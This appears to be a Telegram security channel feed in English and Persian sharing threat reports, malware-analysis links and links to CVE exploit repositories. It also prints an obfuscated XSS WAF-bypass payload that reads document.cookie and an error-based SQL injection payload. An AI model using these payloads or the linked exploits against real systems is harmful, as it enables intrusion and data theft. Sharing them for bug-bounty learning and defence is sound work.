Network Security Channel

❤2👍2🔥2🎉1

402 views21:56

Scheduled Tasks CIS Critical Security Controls v8.pdf

3.9 MB

#مقاله CIS در خصوص استفاده از Task Schedule ویندوز در حملات
@Engineer_Computer

112 views18:21

Network Security Channel

Malware analysis
1. AndoryuBot
https://www.fortinet.com/blog/threat-research/andoryubot-new-botnet-campaign-targets-ruckus-wireless-admin-remote-code-execution-vulnerability-cve-2023-25717

2. AsyncRAT Loader
https://www.huntress.com/blog/advanced-cyberchef-tips-asyncrat-loader

@Engineer_Computer

Fortinet Blog

AndoryuBot – New Botnet Campaign Targets Ruckus Wireless Admin Remote Code Execution Vulnerability (CVE-2023-25717)

FortiGuard Labs details how a unique botnet leverages a Ruckus vulnerability and examines its behavior once inside an infected device. Learn more.…

109 views18:22

Network Security Channel

exploit
1.CVE-2023-20052:
Information leak vulnerability in the DMG file parser of ClamAV
https://github.com/nokn0wthing/CVE-2023-25002

2. Exploits for CVE-2023-27327, CVE-2023-27328
(Parallels Desktop VM)
https://github.com/kn32/parallels-plist-escape

3. CVE-2023-28231:
DHCP Server RCE (2008 R2 SP1 - Server 2019)
https://github.com/glavstroy/CVE-2023-28231

@Engineer_Computer

GitHub

GitHub - nokn0wthing/CVE-2023-20052: CVE-2023-20052, information leak vulnerability in the DMG file parser of ClamAV

CVE-2023-20052, information leak vulnerability in the DMG file parser of ClamAV - nokn0wthing/CVE-2023-20052

119 views18:22

Network Security Channel

Ransomware_Task_Force_May_23.pdf

2.2 MB

Analytics
Ransomware Task Force: Gaining Ground" May 2023

@Engineer_Computer

109 views18:22

Network Security Channel

Demystifying_Soft_Sec_Vulns.pdf

623.9 KB

Research
Sec code review
Bug, Fault, Error, or Weakness: Demystifying Software Security Vulnerabilities", 2023

]-> NIST Vulnerability Data Ontology:
https://github.com/usnistgov/vulntology

@Engineer_Computer

124 views18:22

Network Security Channel

Alert! 9 new ransomware families emerge from leaked Babuk source code, capable of targeting Linux and ESXi environments
https://thehackernews.com/2023/05/babuk-source-code-sparks-9-new.html

@Engineer_Computer

113 views07:09

Network Security Channel

Meta_ Quarterly adversarial Threat Report .pdf

1.8 MB

#Report #CyberAttacks #Threat

@Engineer_Computer

111 views07:14

Network Security Channel

aa23-129a_snake_malware.pdf

4.1 MB

#Snake #Malware #Russian

@Engineer_Computer

109 views07:14

Network Security Channel

eset_apt_activity_report_q42022_q12023.pdf

4.3 MB

#APT #ESET

@Engineer_Computer

109 views07:14

Network Security Channel

Injecting Payload In Phone Numbers field !

#infosec #bugbountytip #cybersecuritytips
@Engineer_Computer

103 views07:22

Network Security Channel

XSS WAF Bypass using location concatenation:

Payload:
"><BODy onbeforescriptexecute="x1='cookie';c=')';b='a';location='jav'+b+'script:con'+'fir\u006d('+'document'+'.'+x1+c">

#bugbounty #bugbountytips #xss #xssbypass
@Engineer_Computer

106 views07:22

Network Security Channel

Some recent lessons learned:

If something is suspicious but SQLMap “thinks” it might/might not be vulnerable, manually confirm/deny before leaving.

Payload example:

' AND extractvalue(rand(),concat(0x3a,(SELECT user()))) #

#bugbountytips #BugBounty
@Engineer_Computer

110 views07:22

Network Security Channel

⭕️ Building a Red Team Infrastructure in 2023

https://www.securesystems.de/blog/building-a-red-team-infrastructure-in-2023/

#RedTeam
@Engineer_Computer

Systemsecurity

Building a Red Team Infrastructure in 2023

In this blog post an overview of the different components of a red team infrastructure is given. This includes explanations how these work, as well as the comparison of different solutions and their characteristics.

265 views09:17

Network Security Channel

✨Three projects will help you a lot in Malware Analysis✨
✨سه پروژه به شما در تجزیه و تحلیل بدافزار کمک زیادی می کند✨

1️⃣https://filesec.io/#
لیستی از پسوندهای فایل است که می تواند توسط مهاجمان برای phishing, execution, و ماکروها و غیره استفاده شود.
این منبع خوبی برای درک موارد استفاده مخرب از file extentionsرایج و راه هایی است که می توانید در برابر آنها دفاع کنید.
2️⃣ Windows LOLBINS >> https://lolbas-project.github.io/#

کلمه LOLBins اصطلاح اختصاری Living Off the Land Binaries است. این سایت باینری هایی با ماهیت غیر مخرب، که برای سیستم عامل شناخته شده و قانونی هستند را نشان میدهد که توسط مجرمان سایبری برای استتار فعالیت های مخرب خود قابل استفاده و بهره برداری قرار است.

3️⃣ Linux GTFOBINS >> https://gtfobins.github.io/

این GTFOBins پروژه‌ای است که توابع قانونی باینری‌های یونیکس را جمع‌آوری می‌کند که می‌توان از آن برای گرفتن شل، افزایش یا حفظ امتیازات بالا، انتقال فایل‌ها، spawn bind و reverse shell‌ها و تسهیل سایر وظایف پس از بهره‌برداری سوء استفاده کرد.

#blueteam #redteam #soc #forensiceanal #ioc #threatintelligence #threathunting
@Engineer_Computer

161 views09:42

Network Security Channel

Security Workflow Automation.pdf

8.1 MB

#مقاله اتوماتیک‌سازی فرایند امنیت از #HADESS
@Engineer_Computer

144 views03:50

Network Security Channel

🔰 دانستن اینکه چه چیزی در پردازش های ویندوز عادی است، به کاهش نویز در فرآیند جستجوی بدافزار احتمالی کمک میکند.

🔱 https://sansorg.egnyte.com/dl/oQm41D67D6

🔴 از این اطلاعات به عنوان مرجع برای پردازش های عادی ویندوز استفاده کنید و توجه خودتون رو به موارد دیگر معطوف کنید.

@Engineer_Computer

140 views15:04

Network Security Channel

SANS-DFIR(iDeFense).pdf

1.9 MB

پوستر بالا رو هم از لینک بالا و هم از اینجا میتونید دانلود کنید.
@Engineer_Computer

133 views15:04

Network Security Channel

https://www.fo-sec.com/articles/compromising-mdatp-endpoint

@Engineer_Computer

131 views15:15

Network Security Channel

How to bypass Cloudflare, Incapsula, SUCURI and another WAF
https://miloserdov.org/?p=2960

@Engineer_Computer

137 views15:15